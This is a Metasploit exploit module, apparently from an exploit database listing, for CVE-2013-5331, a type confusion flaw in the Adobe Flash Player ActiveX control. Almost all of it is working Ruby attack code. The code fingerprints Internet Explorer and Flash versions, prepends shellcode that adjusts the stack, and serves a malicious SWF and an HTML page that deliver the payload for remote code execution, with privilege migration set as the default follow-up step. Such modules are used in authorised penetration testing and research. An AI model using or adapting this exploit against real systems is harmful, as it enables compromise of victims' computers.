Adobe Flash Player Type Confusion Remote Code Execution

2014-04-2715:40:46

Unknown, bannedit <[email protected]>, juan vazquez <[email protected]>

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This module exploits a type confusion vulnerability found in the ActiveX component of Adobe Flash Player. This vulnerability was found exploited in the wild in November 2013. This module has been tested successfully on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170 over Windows XP SP3 and Windows 7 SP1.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Type Confusion Remote Code Execution",
      'Description'    => %q{
        This module exploits a type confusion vulnerability found in the ActiveX
        component of Adobe Flash Player. This vulnerability was found exploited
        in the wild in November 2013. This module has been tested successfully
        on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170
        over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'bannedit', # Exploit in the wild discoverer, analysis and reporting
          'juan vazquez' # msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-5331' ],
          [ 'OSVDB', '100774'],
          [ 'BID', '64199'],
          [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],
          [ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]
        ],
      'Payload'        =>
        {
          'Space' => 2000,
          'DisableNops' => true,
          'PrependEncoder' => stack_adjust
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'Retries'              => false,
          'EXITFUNC'             => "thread"
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :activex => [
            {
              clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
              method: 'LoadMovie'
            }
          ],
          :os_name => OperatingSystems::Match::WINDOWS,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-12-10',
      'DefaultTarget'  => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def stack_adjust
    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

    adjust
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = browser_profile[tag]
    profile[:tried] = false unless profile.nil? # to allow request the swf
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    flash_payload = ""
    get_payload(cli,target_info).unpack("V*").each do |i|
      flash_payload << "0x#{i.to_s(16)},"
    end
    flash_payload.gsub!(/,$/, "")


    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=flash_payload%>" />
    <param name="Play" value="true" />
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end
end